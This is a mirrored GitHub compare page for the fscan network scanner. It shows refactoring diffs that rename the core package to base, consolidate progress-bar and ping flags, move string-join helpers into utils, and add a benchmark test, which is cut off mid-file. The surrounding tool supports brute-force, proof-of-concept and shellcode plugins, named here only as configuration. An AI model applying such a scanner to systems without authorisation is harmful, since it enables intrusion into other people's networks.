mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 05:56:46 +08:00
Compare commits
7 Commits
20cb3356de
...
f943f04de7
Author | SHA1 | Date | |
---|---|---|---|
![]() |
f943f04de7 | ||
![]() |
8c3039506f | ||
![]() |
0a60d76f71 | ||
![]() |
69a70fc577 | ||
![]() |
291da0c879 | ||
![]() |
095437ad1a | ||
![]() |
68a0c99c4c |
@ -22,8 +22,6 @@ var (
|
||||
|
||||
ModuleThreadNum int
|
||||
GlobalTimeout int64
|
||||
LiveTop int
|
||||
UsePing bool
|
||||
EnableFingerprint bool
|
||||
|
||||
AddUsers string
|
||||
@ -60,9 +58,7 @@ var (
|
||||
|
||||
DisableSave bool
|
||||
Silent bool
|
||||
ShowProgress bool
|
||||
ShowScanPlan bool
|
||||
SlowLogOutput bool
|
||||
DisableProgress bool
|
||||
|
||||
Shellcode string
|
||||
|
||||
@ -148,9 +144,8 @@ func Flag(Info *HostInfo) {
|
||||
flag.Int64Var(&Timeout, "time", 3, i18n.GetText("flag_timeout"))
|
||||
flag.IntVar(&ModuleThreadNum, "mt", 10, i18n.GetText("flag_module_thread_num"))
|
||||
flag.Int64Var(&GlobalTimeout, "gt", 180, i18n.GetText("flag_global_timeout"))
|
||||
flag.IntVar(&LiveTop, "top", 10, i18n.GetText("flag_live_top"))
|
||||
// LiveTop 参数已移除,改为智能控制
|
||||
flag.BoolVar(&DisablePing, "np", false, i18n.GetText("flag_disable_ping"))
|
||||
flag.BoolVar(&UsePing, "ping", false, i18n.GetText("flag_use_ping"))
|
||||
flag.BoolVar(&EnableFingerprint, "fingerprint", false, i18n.GetText("flag_enable_fingerprint"))
|
||||
flag.BoolVar(&LocalMode, "local", false, i18n.GetText("flag_local_mode"))
|
||||
|
||||
@ -213,11 +208,7 @@ func Flag(Info *HostInfo) {
|
||||
flag.BoolVar(&Silent, "silent", false, i18n.GetText("flag_silent_mode"))
|
||||
flag.BoolVar(&NoColor, "nocolor", false, i18n.GetText("flag_no_color"))
|
||||
flag.StringVar(&LogLevel, "log", LogLevelBaseInfoSuccess, i18n.GetText("flag_log_level"))
|
||||
flag.BoolVar(&ShowProgress, "pg", true, i18n.GetText("flag_show_progress"))
|
||||
var noProgress bool
|
||||
flag.BoolVar(&noProgress, "np-bar", false, i18n.GetText("flag_no_progress"))
|
||||
flag.BoolVar(&ShowScanPlan, "sp", false, i18n.GetText("flag_show_scan_plan"))
|
||||
flag.BoolVar(&SlowLogOutput, "slow", false, i18n.GetText("flag_slow_log_output"))
|
||||
flag.BoolVar(&DisableProgress, "nopg", false, i18n.GetText("flag_disable_progress"))
|
||||
|
||||
// ═════════════════════════════════════════════════
|
||||
// 其他参数
|
||||
@ -235,11 +226,10 @@ func Flag(Info *HostInfo) {
|
||||
// 设置语言
|
||||
i18n.SetLanguage(Language)
|
||||
|
||||
// 处理进度条禁用逻辑
|
||||
if noProgress {
|
||||
ShowProgress = false
|
||||
}
|
||||
|
||||
// 更新进度条显示状态
|
||||
ShowProgress = !DisableProgress
|
||||
|
||||
// 如果显示帮助或者没有提供目标,显示帮助信息并退出
|
||||
if showHelp || shouldShowHelp(Info) {
|
||||
flag.Usage()
|
||||
|
@ -8,6 +8,7 @@ import (
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
"github.com/shadow1ng/fscan/common/parsers"
|
||||
"github.com/shadow1ng/fscan/common/utils"
|
||||
)
|
||||
|
||||
// ParsedConfiguration 解析后的完整配置(兼容旧代码)
|
||||
@ -130,8 +131,8 @@ func Parse(Info *HostInfo) error {
|
||||
// 显示解析结果摘要
|
||||
showParseSummary(result.Config)
|
||||
|
||||
// 同步变量到core包
|
||||
syncToCore()
|
||||
// 同步配置到core包
|
||||
SyncToCore()
|
||||
|
||||
return nil
|
||||
}
|
||||
@ -319,10 +320,14 @@ func updateGlobalVariables(config *parsers.ParsedConfig, info *HostInfo) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveDuplicate 去重函数 - 保持原有实现
|
||||
// RemoveDuplicate 去重函数 - 恢复原始高效实现
|
||||
func RemoveDuplicate(old []string) []string {
|
||||
temp := make(map[string]struct{})
|
||||
var result []string
|
||||
if len(old) <= 1 {
|
||||
return old
|
||||
}
|
||||
|
||||
temp := make(map[string]struct{}, len(old))
|
||||
result := make([]string, 0, len(old))
|
||||
|
||||
for _, item := range old {
|
||||
if _, exists := temp[item]; !exists {
|
||||
@ -336,28 +341,14 @@ func RemoveDuplicate(old []string) []string {
|
||||
|
||||
// 辅助函数
|
||||
|
||||
// joinStrings 连接字符串切片
|
||||
// joinStrings 连接字符串切片 - 优化版本使用字符串构建器池
|
||||
func joinStrings(slice []string, sep string) string {
|
||||
if len(slice) == 0 {
|
||||
return ""
|
||||
}
|
||||
result := slice[0]
|
||||
for i := 1; i < len(slice); i++ {
|
||||
result += sep + slice[i]
|
||||
}
|
||||
return result
|
||||
return utils.JoinStrings(slice, sep)
|
||||
}
|
||||
|
||||
// joinInts 连接整数切片
|
||||
// joinInts 连接整数切片 - 优化版本使用字符串构建器池
|
||||
func joinInts(slice []int, sep string) string {
|
||||
if len(slice) == 0 {
|
||||
return ""
|
||||
}
|
||||
result := fmt.Sprintf("%d", slice[0])
|
||||
for i := 1; i < len(slice); i++ {
|
||||
result += sep + fmt.Sprintf("%d", slice[i])
|
||||
}
|
||||
return result
|
||||
return utils.JoinInts(slice, sep)
|
||||
}
|
||||
|
||||
// showParseSummary 显示解析结果摘要
|
||||
@ -483,8 +474,8 @@ func applyLogLevel() {
|
||||
config := &logging.LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: !NoColor,
|
||||
SlowOutput: SlowLogOutput,
|
||||
ShowProgress: true,
|
||||
SlowOutput: false,
|
||||
ShowProgress: ShowProgress,
|
||||
StartTime: StartTime,
|
||||
LevelColors: logging.GetDefaultLevelColors(),
|
||||
}
|
||||
|
@ -1,6 +1,6 @@
|
||||
package common
|
||||
|
||||
import "github.com/shadow1ng/fscan/common/core"
|
||||
import "github.com/shadow1ng/fscan/common/base"
|
||||
|
||||
/*
|
||||
Ports.go - 端口常量(向后兼容层)
|
||||
@ -10,6 +10,6 @@ Ports.go - 端口常量(向后兼容层)
|
||||
|
||||
// 向后兼容的端口常量 - 引用Core包中的定义
|
||||
var (
|
||||
WebPorts = core.WebPorts // Web服务端口组
|
||||
MainPorts = core.MainPorts // 主要服务端口组
|
||||
WebPorts = base.WebPorts // Web服务端口组
|
||||
MainPorts = base.MainPorts // 主要服务端口组
|
||||
)
|
||||
|
@ -1,4 +1,4 @@
|
||||
package core
|
||||
package base
|
||||
|
||||
/*
|
||||
Constants.go - 核心常量定义
|
@ -1,4 +1,4 @@
|
||||
package core
|
||||
package base
|
||||
|
||||
import (
|
||||
"sync"
|
@ -1,4 +1,4 @@
|
||||
package core
|
||||
package base
|
||||
|
||||
import (
|
||||
"fmt"
|
@ -15,7 +15,7 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/core"
|
||||
"github.com/shadow1ng/fscan/common/base"
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
)
|
||||
@ -24,21 +24,21 @@ import (
|
||||
// 核心类型导出 - 直接从core模块导出
|
||||
// =============================================================================
|
||||
|
||||
type HostInfo = core.HostInfo
|
||||
type ScanPlugin = core.ScanPlugin
|
||||
type HostInfo = base.HostInfo
|
||||
type ScanPlugin = base.ScanPlugin
|
||||
|
||||
// 插件类型常量
|
||||
const (
|
||||
PluginTypeService = core.PluginTypeService
|
||||
PluginTypeWeb = core.PluginTypeWeb
|
||||
PluginTypeLocal = core.PluginTypeLocal
|
||||
PluginTypeBrute = core.PluginTypeBrute
|
||||
PluginTypePoc = core.PluginTypePoc
|
||||
PluginTypeScan = core.PluginTypeScan
|
||||
PluginTypeService = base.PluginTypeService
|
||||
PluginTypeWeb = base.PluginTypeWeb
|
||||
PluginTypeLocal = base.PluginTypeLocal
|
||||
PluginTypeBrute = base.PluginTypeBrute
|
||||
PluginTypePoc = base.PluginTypePoc
|
||||
PluginTypeScan = base.PluginTypeScan
|
||||
)
|
||||
|
||||
// 全局插件管理器
|
||||
var PluginManager = core.LegacyPluginManager
|
||||
var PluginManager = base.LegacyPluginManager
|
||||
|
||||
// =============================================================================
|
||||
// 核心功能导出 - 直接调用对应模块
|
||||
@ -46,7 +46,7 @@ var PluginManager = core.LegacyPluginManager
|
||||
|
||||
// 插件系统
|
||||
func RegisterPlugin(name string, plugin ScanPlugin) {
|
||||
if err := core.RegisterPlugin(name, plugin); err != nil {
|
||||
if err := base.RegisterPlugin(name, plugin); err != nil {
|
||||
LogError("Failed to register plugin " + name + ": " + err.Error())
|
||||
}
|
||||
}
|
||||
@ -69,8 +69,8 @@ func getGlobalLogger() *logging.Logger {
|
||||
config := &logging.LoggerConfig{
|
||||
Level: level,
|
||||
EnableColor: !NoColor,
|
||||
SlowOutput: SlowLogOutput,
|
||||
ShowProgress: true,
|
||||
SlowOutput: false,
|
||||
ShowProgress: ShowProgress,
|
||||
StartTime: StartTime,
|
||||
}
|
||||
globalLogger = logging.NewLogger(config)
|
||||
|
@ -52,9 +52,8 @@ type ScanControlConfig struct {
|
||||
ModuleThreadNum int `json:"module_thread_num"` // 模块内部线程数
|
||||
Timeout int64 `json:"timeout"` // 单个扫描操作超时时间(秒)
|
||||
GlobalTimeout int64 `json:"global_timeout"` // 整体扫描超时时间(秒)
|
||||
LiveTop int `json:"live_top"` // 显示的存活主机排名数量
|
||||
// LiveTop 已移除,改为智能控制
|
||||
DisablePing bool `json:"disable_ping"` // 是否禁用主机存活性检测
|
||||
UsePing bool `json:"use_ping"` // 是否使用ICMP Ping检测主机存活
|
||||
EnableFingerprint bool `json:"enable_fingerprint"` // 是否启用服务指纹识别
|
||||
LocalMode bool `json:"local_mode"` // 是否启用本地信息收集模式
|
||||
}
|
||||
@ -108,9 +107,7 @@ type DisplayConfig struct {
|
||||
Silent bool `json:"silent"` // 是否启用静默模式
|
||||
NoColor bool `json:"no_color"` // 是否禁用彩色输出
|
||||
LogLevel string `json:"log_level"` // 日志输出级别
|
||||
ShowProgress bool `json:"show_progress"` // 是否显示进度条
|
||||
ShowScanPlan bool `json:"show_scan_plan"` // 是否显示扫描计划详情
|
||||
SlowLogOutput bool `json:"slow_log_output"` // 是否启用慢速日志输出
|
||||
DisableProgress bool `json:"disable_progress"` // 是否禁用进度条
|
||||
Language string `json:"language"` // 界面语言设置
|
||||
}
|
||||
|
||||
|
@ -5,15 +5,15 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/schollz/progressbar/v3"
|
||||
"github.com/shadow1ng/fscan/common/core"
|
||||
"github.com/shadow1ng/fscan/common/base"
|
||||
"github.com/shadow1ng/fscan/common/logging"
|
||||
)
|
||||
|
||||
/*
|
||||
globals.go - 全局变量定义
|
||||
|
||||
直接导出core模块的变量,避免兼容层重定向。
|
||||
这些变量被Flag.go和其他模块直接使用。
|
||||
使用线程安全的配置管理,消除双向同步机制,直接使用core包作为唯一数据源。
|
||||
保持向后兼容的同时提供并发安全的访问。
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
@ -23,72 +23,142 @@ globals.go - 全局变量定义
|
||||
var version = "2.0.2"
|
||||
|
||||
// =============================================================================
|
||||
// 核心扫描配置 - 直接使用core包变量
|
||||
// 简化的全局状态管理(仅保留必要的同步机制)
|
||||
// =============================================================================
|
||||
|
||||
// globalState已简化,因为大部分管理函数未被使用
|
||||
// 保留基本的时间记录用于向后兼容
|
||||
var startTimeInit = time.Now()
|
||||
|
||||
// =============================================================================
|
||||
// 核心扫描配置 - 直接使用core包变量(单一数据源)
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
ScanMode string // 扫描模式
|
||||
ThreadNum int // 线程数
|
||||
Timeout int64 // 超时时间
|
||||
DisablePing bool // 禁用ping
|
||||
LocalMode bool // 本地模式
|
||||
ScanMode string // 直接映射到base.ScanMode
|
||||
ThreadNum int // 直接映射到base.ThreadNum
|
||||
Timeout int64 // 直接映射到base.Timeout
|
||||
DisablePing bool // 直接映射到base.DisablePing
|
||||
LocalMode bool // 直接映射到base.LocalMode
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 基础认证配置 - 直接定义
|
||||
// 基础认证配置 - 直接使用core包变量
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
Username string // 用户名
|
||||
Password string // 密码
|
||||
Userdict map[string][]string // 用户字典
|
||||
Passwords []string // 密码列表
|
||||
Username string // 直接映射到base.Username
|
||||
Password string // 直接映射到base.Password
|
||||
Userdict map[string][]string // 直接映射到base.Userdict
|
||||
Passwords []string // 直接映射到base.Passwords
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 网络配置 - 直接定义
|
||||
// 网络配置 - 直接使用core包变量
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
HttpProxy string // HTTP代理
|
||||
Socks5Proxy string // SOCKS5代理
|
||||
HttpProxy string // 直接映射到base.HttpProxy
|
||||
Socks5Proxy string // 直接映射到base.Socks5Proxy
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 显示控制 - 直接定义
|
||||
// 显示控制 - 直接使用core包变量
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
NoColor bool // 禁用颜色
|
||||
Language string // 语言
|
||||
LogLevel string // 日志级别
|
||||
NoColor bool // 直接映射到base.NoColor
|
||||
Language string // 直接映射到base.Language
|
||||
LogLevel string // 直接映射到base.LogLevel
|
||||
|
||||
// 进度条控制
|
||||
ShowProgress bool // 计算得出:!DisableProgress
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 端口映射 - 直接定义
|
||||
// 端口映射 - 直接使用core包变量
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
PortMap map[int][]string // 端口映射
|
||||
DefaultMap []string // 默认映射
|
||||
PortMap map[int][]string // 直接映射到base.PortMap
|
||||
DefaultMap []string // 直接映射到base.DefaultMap
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 其他全局变量 - 直接定义,避免多层引用
|
||||
// 线程安全的输出状态管理(已移除未使用的函数)
|
||||
// =============================================================================
|
||||
|
||||
// 注意:GetOutputfile, SetOutputfile, GetOutputFormat, SetOutputFormat,
|
||||
// GetProgressBar, SetProgressBar, GetStats, SetStats, IncrementNum等函数
|
||||
// 已根据死代码分析移除,因为它们在代码库中没有被使用。
|
||||
// 如有需要,可以通过直接访问向后兼容的全局变量实现相同功能。
|
||||
|
||||
// =============================================================================
|
||||
// 核心配置同步(线程安全)
|
||||
// =============================================================================
|
||||
|
||||
// SyncFromCore 从core包同步配置到common包(读操作)
|
||||
func SyncFromCore() {
|
||||
ScanMode = base.ScanMode
|
||||
ThreadNum = base.ThreadNum
|
||||
Timeout = base.Timeout
|
||||
DisablePing = base.DisablePing
|
||||
LocalMode = base.LocalMode
|
||||
|
||||
Username = base.Username
|
||||
Password = base.Password
|
||||
Userdict = base.Userdict
|
||||
Passwords = base.Passwords
|
||||
|
||||
HttpProxy = base.HttpProxy
|
||||
Socks5Proxy = base.Socks5Proxy
|
||||
|
||||
NoColor = base.NoColor
|
||||
Language = base.Language
|
||||
LogLevel = base.LogLevel
|
||||
|
||||
PortMap = base.PortMap
|
||||
DefaultMap = base.DefaultMap
|
||||
}
|
||||
|
||||
// SyncToCore 同步common包配置到core包(写操作)
|
||||
func SyncToCore() {
|
||||
base.ScanMode = ScanMode
|
||||
base.ThreadNum = ThreadNum
|
||||
base.Timeout = Timeout
|
||||
base.DisablePing = DisablePing
|
||||
base.LocalMode = LocalMode
|
||||
|
||||
base.Username = Username
|
||||
base.Password = Password
|
||||
base.Userdict = Userdict
|
||||
base.Passwords = Passwords
|
||||
|
||||
base.HttpProxy = HttpProxy
|
||||
base.Socks5Proxy = Socks5Proxy
|
||||
|
||||
base.NoColor = NoColor
|
||||
base.Language = Language
|
||||
base.LogLevel = LogLevel
|
||||
|
||||
base.PortMap = PortMap
|
||||
base.DefaultMap = DefaultMap
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 向后兼容的全局变量
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
// 输出配置
|
||||
// 输出配置(向后兼容)
|
||||
Outputfile string
|
||||
OutputFormat string
|
||||
ProgressBar *progressbar.ProgressBar
|
||||
OutputMutex sync.Mutex
|
||||
|
||||
// 日志状态
|
||||
Num, End int64
|
||||
StartTime = time.Now()
|
||||
|
||||
// 其他变量按需添加
|
||||
// 统计信息(向后兼容)
|
||||
Num, End int64
|
||||
StartTime = time.Now()
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
@ -107,62 +177,16 @@ const (
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 初始化和同步函数
|
||||
// 初始化
|
||||
// =============================================================================
|
||||
|
||||
func init() {
|
||||
// 初始化核心配置
|
||||
core.InitGlobalConfig()
|
||||
// 初始化core包配置
|
||||
base.InitGlobalConfig()
|
||||
|
||||
// 同步变量
|
||||
syncWithCore()
|
||||
}
|
||||
|
||||
// syncWithCore 同步common包变量与core包变量
|
||||
func syncWithCore() {
|
||||
// 读取core包的默认值
|
||||
ScanMode = core.ScanMode
|
||||
ThreadNum = core.ThreadNum
|
||||
Timeout = core.Timeout
|
||||
DisablePing = core.DisablePing
|
||||
LocalMode = core.LocalMode
|
||||
// 从core包同步初始配置
|
||||
SyncFromCore()
|
||||
|
||||
Username = core.Username
|
||||
Password = core.Password
|
||||
Userdict = core.Userdict
|
||||
Passwords = core.Passwords
|
||||
|
||||
HttpProxy = core.HttpProxy
|
||||
Socks5Proxy = core.Socks5Proxy
|
||||
|
||||
NoColor = core.NoColor
|
||||
Language = core.Language
|
||||
LogLevel = core.LogLevel
|
||||
|
||||
PortMap = core.PortMap
|
||||
DefaultMap = core.DefaultMap
|
||||
}
|
||||
|
||||
// syncToCore 将common包变量同步回core包
|
||||
func syncToCore() {
|
||||
core.ScanMode = ScanMode
|
||||
core.ThreadNum = ThreadNum
|
||||
core.Timeout = Timeout
|
||||
core.DisablePing = DisablePing
|
||||
core.LocalMode = LocalMode
|
||||
|
||||
core.Username = Username
|
||||
core.Password = Password
|
||||
core.Userdict = Userdict
|
||||
core.Passwords = Passwords
|
||||
|
||||
core.HttpProxy = HttpProxy
|
||||
core.Socks5Proxy = Socks5Proxy
|
||||
|
||||
core.NoColor = NoColor
|
||||
core.Language = Language
|
||||
core.LogLevel = LogLevel
|
||||
|
||||
core.PortMap = PortMap
|
||||
core.DefaultMap = DefaultMap
|
||||
// 初始化向后兼容的时间变量
|
||||
StartTime = startTimeInit
|
||||
}
|
@ -616,10 +616,22 @@ var coreMessages = map[string]map[string]string{
|
||||
LangZH: "开始主机扫描",
|
||||
LangEN: "Starting host scan",
|
||||
},
|
||||
"scan_vulnerability_start": {
|
||||
LangZH: "开始漏洞扫描",
|
||||
LangEN: "Starting vulnerability scan",
|
||||
},
|
||||
"scan_no_service_plugins": {
|
||||
LangZH: "未找到可用的服务插件",
|
||||
LangEN: "No available service plugins found",
|
||||
},
|
||||
"scan_vulnerability_plugins": {
|
||||
LangZH: "使用漏洞扫描插件: %s",
|
||||
LangEN: "Using vulnerability scan plugins: %s",
|
||||
},
|
||||
"scan_no_vulnerability_plugins": {
|
||||
LangZH: "未找到可用的漏洞扫描插件",
|
||||
LangEN: "No available vulnerability scan plugins found",
|
||||
},
|
||||
"scan_complete_ports_found": {
|
||||
LangZH: "扫描完成, 发现 %d 个开放端口",
|
||||
LangEN: "Scan completed, found %d open ports",
|
||||
@ -692,10 +704,6 @@ var coreMessages = map[string]map[string]string{
|
||||
LangZH: "禁用ping探测",
|
||||
LangEN: "Disable ping detection",
|
||||
},
|
||||
"flag_use_ping": {
|
||||
LangZH: "启用ping探测",
|
||||
LangEN: "Enable ping detection",
|
||||
},
|
||||
"flag_enable_fingerprint": {
|
||||
LangZH: "启用指纹识别",
|
||||
LangEN: "Enable fingerprinting",
|
||||
@ -848,22 +856,10 @@ var coreMessages = map[string]map[string]string{
|
||||
LangZH: "日志级别",
|
||||
LangEN: "Log level",
|
||||
},
|
||||
"flag_show_progress": {
|
||||
LangZH: "显示进度条 (默认启用)",
|
||||
LangEN: "Show progress bar (enabled by default)",
|
||||
},
|
||||
"flag_no_progress": {
|
||||
"flag_disable_progress": {
|
||||
LangZH: "禁用进度条",
|
||||
LangEN: "Disable progress bar",
|
||||
},
|
||||
"flag_show_scan_plan": {
|
||||
LangZH: "显示扫描计划",
|
||||
LangEN: "Show scan plan",
|
||||
},
|
||||
"flag_slow_log_output": {
|
||||
LangZH: "慢速日志输出",
|
||||
LangEN: "Slow log output",
|
||||
},
|
||||
"flag_shellcode": {
|
||||
LangZH: "Shellcode",
|
||||
LangEN: "Shellcode",
|
||||
|
@ -1,41 +0,0 @@
|
||||
package parsers
|
||||
|
||||
/*
|
||||
LegacyParser.go - 简化的向后兼容解析器
|
||||
|
||||
现在直接使用简化的解析函数,大幅减少代码复杂度,
|
||||
同时保持与现有代码的完全兼容性。
|
||||
*/
|
||||
|
||||
// ParseIP 解析各种格式的IP地址(兼容原函数签名)
|
||||
// 参数:
|
||||
// - host: 主机地址(可以是单个IP、IP范围、CIDR或常用网段简写)
|
||||
// - filename: 包含主机地址的文件名
|
||||
// - nohosts: 需要排除的主机地址列表
|
||||
//
|
||||
// 返回:
|
||||
// - []string: 解析后的IP地址列表
|
||||
// - error: 解析过程中的错误
|
||||
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
|
||||
return SimpleParseIP(host, filename, nohosts...)
|
||||
}
|
||||
|
||||
// ParsePort 解析端口配置字符串为端口号列表(兼容原函数签名)
|
||||
// 参数:
|
||||
// - ports: 端口配置字符串
|
||||
//
|
||||
// 返回:
|
||||
// - []int: 解析后的端口号列表
|
||||
func ParsePort(ports string) []int {
|
||||
return SimpleParsePort(ports)
|
||||
}
|
||||
|
||||
// ParsePortsFromString 从字符串解析端口列表(兼容原函数签名)
|
||||
// 参数:
|
||||
// - portsStr: 端口字符串,支持单个端口、端口范围、端口组
|
||||
//
|
||||
// 返回:
|
||||
// - []int: 解析后的端口号列表,已去重并排序
|
||||
func ParsePortsFromString(portsStr string) []int {
|
||||
return SimpleParsePortsFromString(portsStr)
|
||||
}
|
@ -1,142 +0,0 @@
|
||||
package parsers
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// TestParsePort 测试端口解析功能
|
||||
func TestParsePort(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected []int
|
||||
}{
|
||||
{
|
||||
name: "Simple ports",
|
||||
input: "80,443,22",
|
||||
expected: []int{22, 80, 443}, // sorted
|
||||
},
|
||||
{
|
||||
name: "Port range",
|
||||
input: "80-85",
|
||||
expected: []int{80, 81, 82, 83, 84, 85},
|
||||
},
|
||||
{
|
||||
name: "Mixed ports and ranges",
|
||||
input: "22,80-82,443",
|
||||
expected: []int{22, 80, 81, 82, 443}, // sorted
|
||||
},
|
||||
{
|
||||
name: "Predefined group",
|
||||
input: "web",
|
||||
expected: []int{80, 443, 8080, 8443}, // subset of web ports
|
||||
},
|
||||
{
|
||||
name: "Empty string",
|
||||
input: "",
|
||||
expected: nil,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := ParsePort(tt.input)
|
||||
|
||||
// For predefined groups, we just check if common ports are included
|
||||
if tt.name == "Predefined group" {
|
||||
hasExpectedPorts := false
|
||||
for _, expectedPort := range tt.expected {
|
||||
for _, resultPort := range result {
|
||||
if resultPort == expectedPort {
|
||||
hasExpectedPorts = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasExpectedPorts {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !hasExpectedPorts {
|
||||
t.Errorf("ParsePort(%s) does not contain expected common web ports %v", tt.input, tt.expected)
|
||||
}
|
||||
} else {
|
||||
if !reflect.DeepEqual(result, tt.expected) {
|
||||
t.Errorf("ParsePort(%s) = %v, expected %v", tt.input, result, tt.expected)
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestParseIP 测试IP解析功能
|
||||
func TestParseIP(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected int // expected number of IPs
|
||||
}{
|
||||
{
|
||||
name: "Single IP",
|
||||
input: "192.168.1.1",
|
||||
expected: 1,
|
||||
},
|
||||
{
|
||||
name: "CIDR notation",
|
||||
input: "192.168.1.0/30",
|
||||
expected: 4, // 192.168.1.0-3
|
||||
},
|
||||
{
|
||||
name: "IP range",
|
||||
input: "192.168.1.1-192.168.1.3",
|
||||
expected: 3,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result, err := ParseIP(tt.input, "", "")
|
||||
if err != nil {
|
||||
t.Errorf("ParseIP(%s) returned error: %v", tt.input, err)
|
||||
return
|
||||
}
|
||||
if len(result) != tt.expected {
|
||||
t.Errorf("ParseIP(%s) returned %d IPs, expected %d", tt.input, len(result), tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestParsePortsFromString 测试端口字符串解析功能
|
||||
func TestParsePortsFromString(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
input string
|
||||
expected []int
|
||||
}{
|
||||
{
|
||||
name: "Valid ports",
|
||||
input: "80,443,22",
|
||||
expected: []int{22, 80, 443}, // sorted
|
||||
},
|
||||
{
|
||||
name: "Empty string",
|
||||
input: "",
|
||||
expected: []int{},
|
||||
},
|
||||
{
|
||||
name: "With spaces",
|
||||
input: " 80 , 443 , 22 ",
|
||||
expected: []int{22, 80, 443},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := ParsePortsFromString(tt.input)
|
||||
if !reflect.DeepEqual(result, tt.expected) {
|
||||
t.Errorf("ParsePortsFromString(%s) = %v, expected %v", tt.input, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
@ -21,9 +21,9 @@ Simple.go - 简化版本的解析器函数
|
||||
// 简化的IP/主机解析函数
|
||||
// =============================================================================
|
||||
|
||||
// SimpleParseIP 简化版本的IP解析函数
|
||||
// 保持与 ParseIP 的接口兼容性,但使用更简单的实现
|
||||
func SimpleParseIP(host string, filename string, nohosts ...string) ([]string, error) {
|
||||
// ParseIP 解析各种格式的IP地址
|
||||
// 支持单个IP、IP范围、CIDR和文件输入
|
||||
func ParseIP(host string, filename string, nohosts ...string) ([]string, error) {
|
||||
var hosts []string
|
||||
|
||||
// 如果提供了文件名,从文件读取主机列表
|
||||
@ -68,9 +68,9 @@ func SimpleParseIP(host string, filename string, nohosts ...string) ([]string, e
|
||||
// 简化的端口解析函数
|
||||
// =============================================================================
|
||||
|
||||
// SimpleParsePort 简化版本的端口解析函数
|
||||
// ParsePort 解析端口配置字符串为端口号列表
|
||||
// 保持与 ParsePort 的接口兼容性
|
||||
func SimpleParsePort(ports string) []int {
|
||||
func ParsePort(ports string) []int {
|
||||
if ports == "" {
|
||||
return nil
|
||||
}
|
||||
@ -108,10 +108,10 @@ func SimpleParsePort(ports string) []int {
|
||||
return result
|
||||
}
|
||||
|
||||
// SimpleParsePortsFromString 简化版本的端口字符串解析
|
||||
// ParsePortsFromString 从字符串解析端口列表
|
||||
// 保持与 ParsePortsFromString 的接口兼容性
|
||||
func SimpleParsePortsFromString(portsStr string) []int {
|
||||
return SimpleParsePort(portsStr)
|
||||
func ParsePortsFromString(portsStr string) []int {
|
||||
return ParsePort(portsStr)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
|
315
Common/utils/benchmark_test.go
Normal file
315
Common/utils/benchmark_test.go
Normal file
@ -0,0 +1,315 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// BenchmarkStringJoinOriginal 原始字符串连接方法
|
||||
func BenchmarkStringJoinOriginal(b *testing.B) {
|
||||
slice := make([]string, 100)
|
||||
for i := range slice {
|
||||
slice[i] = fmt.Sprintf("item-%d", i)
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
var result string
|
||||
if len(slice) > 0 {
|
||||
result = slice[0]
|
||||
for j := 1; j < len(slice); j++ {
|
||||
result += "," + slice[j]
|
||||
}
|
||||
}
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkStringJoinOptimized 优化后的字符串连接方法
|
||||
func BenchmarkStringJoinOptimized(b *testing.B) {
|
||||
slice := make([]string, 100)
|
||||
for i := range slice {
|
||||
slice[i] = fmt.Sprintf("item-%d", i)
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
result := JoinStrings(slice, ",")
|
||||
_ = result
|
||||
}
|
||||
}
|
||||
|
||||
// BenchmarkIntJoinOriginal 原始整数连接方法
|
||||
func BenchmarkIntJoinOriginal(b *testing.B) {
|
||||
slice := make([]int, 100)
|
||||
for i := range slice {
|
||||
slice[i] = i * 10
|
||||
}
|
||||
|
||||
b.ResetTimer()
|
||||
for i := 0; i < b.N; i++ {
|
||||
var result string
|
||||
if len(slice) > 0 {
|
||||
result = fmt.Sprintf("%d", slice[0])
|
||||
for j := 1; j < len(slice); j++ {
|
||||
